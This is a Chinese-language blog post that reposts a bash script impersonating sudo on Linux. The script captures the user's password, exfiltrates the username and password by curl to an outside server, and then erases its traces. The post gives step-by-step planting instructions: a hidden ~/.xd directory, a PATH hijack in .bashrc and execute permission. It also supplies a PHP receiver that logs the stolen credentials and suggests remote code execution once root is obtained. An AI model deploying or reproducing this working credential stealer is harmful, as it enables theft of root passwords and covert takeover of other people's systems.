[后门艺术]sudo下窃取root密码
前几天在GitHub上看到一大牛的sudo下窃取root用户密码的shell脚本,测试了下还非常管用。真可谓是居家旅行,杀人放火的必备工具啊,所以不敢私藏,在此分享给所有渗透狗~_~
Github原地址:https://github.com/vk496/sudo-stealer
废话就不说了,直接上脚本:
#!/bin/bash /usr/bin/sudo -k i=0 while [ $i != 3 ]; do echo -n "[siii] password for $(whoami): " read -s xd echo echo -e "$xd\n"| /usr/bin/sudo -S true 2>/dev/null if /usr/bin/sudo -n true 2>/dev/null; then break else echo "Sorry, try again." fi unset xd let i=$i+1 done if ! /usr/bin/sudo -n true 2>/dev/null; then echo "sudo: 3 incorrect password attempts" exit 1 fi sed -i "/\.xd/d" ~/.bashrc export PATH=$(echo $PATH| cut -d: -f2-) echo -e "$xd\n" | /usr/bin/sudo -S "$@" if [ "$(ping myserver.com -c1 2>/dev/null)" ]; then curl -s myserver.com/example.php?user=$(whoami)\&pass=$xd 2>/dev/null sleep 2 && ln -f -s /usr/bin/sudo ~/.xd/sudo & rm $0 fi
使用之前,需要在目标机子上做点小改动(当然,需要有一般用户权限):
Step1: 在目标系统上新建一个隐藏的目录:
mkdir ~/.xd
Step2: 在目标系统经常登录的用户的bashrc文件中添加环境变量:
echo "export PATH=~/.xd:\$PATH" >> ~/.bashrc
Step3: 将github上的这个sudo脚本放到刚建立的隐藏目录下面,并给于执行权限:
chmod +x ~/.xd/sudo
Step4: 根据脚本最后几行可知,该脚本会将获取到的root密码通过HTTP的GET方式发送到远程服务器上,所以写个简单的接收账户密码的php文件:
<?php $user = $_GET['user']; $pass = $_GET['pass']; $f = fopen('./users_log.txt','a+'); fwrite($f, $user); fwrite($f, "&"); fwrite($f, $pass); fwrite($f, "\n"); fclose($f); ?>
下面是我做的一个简单测试:
注意,在使用系统的sudo时上面的提示是“[sudo]”而不是“[siii]”,这里只是为了方便演示而已。下面的是在远程服务器上接收到的账户:
这个脚本还算是比较“聪明”的,在获取到root密码之后会删掉之前添加到bashrc中的环境变量,并且删除自身。正如作者所认为的,这只是个POC,聪明的人肯定会想到,在拿到root权限之后可以远程下载执行指令等等。。。这个,还是留着大伙儿回去边撸边思考吧。我只是大自然的搬运工!
【上一篇】Linux下的键盘记录程序(python版)【下一篇】python连接Oracle数据库